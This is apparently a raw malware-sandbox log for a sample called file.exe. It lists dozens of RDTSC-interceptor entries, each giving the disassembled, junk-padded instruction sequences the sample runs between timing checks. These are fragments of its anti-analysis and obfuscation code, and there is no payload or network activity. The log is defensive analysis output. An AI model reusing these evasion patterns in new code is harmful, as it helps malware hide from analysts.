Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96495B second address: 9649AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 xor dword ptr [esp], 1E0CD55Dh 0x0000000e jo 00007F4348DC2F9Dh 0x00000014 push eax 0x00000015 xor cx, 5CAFh 0x0000001a pop edx 0x0000001b mov di, ax 0x0000001e push 00000003h 0x00000020 mov edx, dword ptr [ebp+122D37FEh] 0x00000026 jg 00007F4348DC2F9Fh 0x0000002c push 00000000h 0x0000002e or dword ptr [ebp+122D1A7Ah], esi 0x00000034 push 00000003h 0x00000036 push 84D40C1Bh 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F4348DC2F9Ah 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9649AC second address: 9649B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9649B6 second address: 964A19 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 44D40C1Bh 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F4348DC2F98h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c pushad 0x0000002d mov dword ptr [ebp+12441D86h], ecx 0x00000033 mov dx, si 0x00000036 popad 0x00000037 lea ebx, dword ptr [ebp+124485BCh] 0x0000003d mov dword ptr [ebp+122D1ABCh], edi 0x00000043 xchg eax, ebx 0x00000044 jmp 00007F4348DC2F9Dh 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jnp 00007F4348DC2F96h 0x00000053 pushad 0x00000054 popad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964A8D second address: 964A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964A91 second address: 964B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F4348DC2F9Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F4348DC2FA7h 0x00000013 nop 0x00000014 mov dh, 09h 0x00000016 push 00000000h 0x00000018 call 00007F4348DC2FA2h 0x0000001d jmp 00007F4348DC2F9Ch 0x00000022 pop esi 0x00000023 push 5D00A4C5h 0x00000028 jmp 00007F4348DC2F9Ah 0x0000002d xor dword ptr [esp], 5D00A445h 0x00000034 sub dword ptr [ebp+122D1B57h], ecx 0x0000003a push 00000003h 0x0000003c mov dword ptr [ebp+122D28ABh], edi 0x00000042 push 00000000h 0x00000044 pushad 0x00000045 mov dword ptr [ebp+122D3073h], eax 0x0000004b popad 0x0000004c push 00000003h 0x0000004e mov si, 2F01h 0x00000052 call 00007F4348DC2F99h 0x00000057 jp 00007F4348DC2F9Eh 0x0000005d push edx 0x0000005e jnc 00007F4348DC2F96h 0x00000064 pop edx 0x00000065 push eax 0x00000066 jmp 00007F4348DC2FA0h 0x0000006b mov eax, dword ptr [esp+04h] 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964B46 second address: 964B50 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4348BCFDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964B50 second address: 964B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964B56 second address: 964B69 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jbe 00007F4348BCFDECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964B69 second address: 964B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964B70 second address: 964B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4348BCFDE6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976372 second address: 97638B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982001 second address: 982006 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982006 second address: 98202E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4348DC2FA7h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F4348DC2F96h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98202E second address: 982032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982166 second address: 98217F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4348DC2FA4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9825AC second address: 9825B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9825B4 second address: 9825B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9825B9 second address: 9825BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98276D second address: 982792 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4348DC2F96h 0x00000009 jmp 00007F4348DC2F9Eh 0x0000000e jne 00007F4348DC2F96h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9828D8 second address: 9828DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9828DC second address: 9828FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F4348DC2FA3h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95044E second address: 950452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982CB5 second address: 982CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982CBB second address: 982CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982CBF second address: 982CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982CC3 second address: 982CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98360C second address: 983626 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9838E2 second address: 9838E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9838E6 second address: 9838F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F4348DC2F9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985D4D second address: 985D60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4348BCFDEDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987CE4 second address: 987CF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9882F1 second address: 988334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jo 00007F4348BCFDE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jno 00007F4348BCFDECh 0x00000019 jno 00007F4348BCFDECh 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F4348BCFDF3h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988484 second address: 9884A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F4348DC2FA2h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9884A5 second address: 9884A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9884A9 second address: 9884BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jg 00007F4348DC2F96h 0x0000000d pop esi 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9884BF second address: 9884C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D044 second address: 94D050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94D050 second address: 94D054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F1C3 second address: 98F1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2F9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F61C second address: 98F620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F620 second address: 98F626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98FA19 second address: 98FA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F4348BCFDEDh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991D92 second address: 991D98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991E4D second address: 991E56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991E56 second address: 991E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991FEF second address: 991FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99266B second address: 992689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F4348DC2F9Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F4348DC2F98h 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99279C second address: 9927A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9927A0 second address: 9927AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992A5E second address: 992A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992A62 second address: 992A68 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992AF5 second address: 992B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F4348BCFDE8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1CCDh], esi 0x0000002b mov si, 0200h 0x0000002f xchg eax, ebx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992FDE second address: 992FE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992FE3 second address: 993007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor esi, 47498C00h 0x00000012 push 00000000h 0x00000014 cld 0x00000015 push 00000000h 0x00000017 xor dword ptr [ebp+122D2DA4h], ecx 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993007 second address: 99300D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993897 second address: 99389D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9954FC second address: 99558A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 push 00000000h 0x00000007 push ebp 0x00000008 call 00007F4348DC2F98h 0x0000000d pop ebp 0x0000000e mov dword ptr [esp+04h], ebp 0x00000012 add dword ptr [esp+04h], 0000001Dh 0x0000001a inc ebp 0x0000001b push ebp 0x0000001c ret 0x0000001d pop ebp 0x0000001e ret 0x0000001f sbb edi, 42423C32h 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F4348DC2F98h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Dh 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edi 0x00000046 call 00007F4348DC2F98h 0x0000004b pop edi 0x0000004c mov dword ptr [esp+04h], edi 0x00000050 add dword ptr [esp+04h], 0000001Ch 0x00000058 inc edi 0x00000059 push edi 0x0000005a ret 0x0000005b pop edi 0x0000005c ret 0x0000005d xchg eax, ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 jnc 00007F4348DC2F96h 0x00000067 jnl 00007F4348DC2F96h 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 996054 second address: 9960C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F4348BCFDECh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F4348BCFDF9h 0x00000013 mov si, bx 0x00000016 pop esi 0x00000017 push 00000000h 0x00000019 mov esi, eax 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F4348BCFDE8h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 sub si, 1CD7h 0x0000003c add dword ptr [ebp+1246F2E6h], esi 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jnp 00007F4348BCFDE6h 0x0000004c push eax 0x0000004d pop eax 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953A3C second address: 953A56 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F4348DC2FA2h 0x0000000e jmp 00007F4348DC2F9Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 995263 second address: 995269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953A56 second address: 953A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4348DC2F9Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953A65 second address: 953A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9981BF second address: 998228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 jl 00007F4348DC2F9Ch 0x0000000d jg 00007F4348DC2F96h 0x00000013 jmp 00007F4348DC2FA3h 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F4348DC2F98h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D3676h] 0x0000003a movsx esi, si 0x0000003d push 00000000h 0x0000003f sbb di, D2A7h 0x00000044 push 00000000h 0x00000046 mov esi, dword ptr [ebp+122D3662h] 0x0000004c xchg eax, ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998228 second address: 998244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998C4D second address: 998C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998C54 second address: 998C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998C59 second address: 998CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348DC2FA5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F4348DC2FA9h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F4348DC2F98h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 jnp 00007F4348DC2F9Ch 0x00000036 mov esi, dword ptr [ebp+122D3642h] 0x0000003c mov esi, 521CF805h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edi 0x00000046 call 00007F4348DC2F98h 0x0000004b pop edi 0x0000004c mov dword ptr [esp+04h], edi 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc edi 0x00000059 push edi 0x0000005a ret 0x0000005b pop edi 0x0000005c ret 0x0000005d mov si, 4323h 0x00000061 push eax 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 jnc 00007F4348DC2F96h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998CEF second address: 998CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998CF3 second address: 998D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4348DC2FA5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E7F2 second address: 99E7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99ECE9 second address: 99ED65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F4348DC2F98h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F4348DC2F98h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 sub dword ptr [ebp+12470405h], edi 0x00000049 push 00000000h 0x0000004b mov bx, cx 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F4348DC2FA3h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99ED65 second address: 99ED6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99ED6B second address: 99ED6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99ED6F second address: 99ED73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99FE1B second address: 99FE1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0F05 second address: 9A0F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1EEA second address: 9A1EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A2D1A second address: 9A2D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
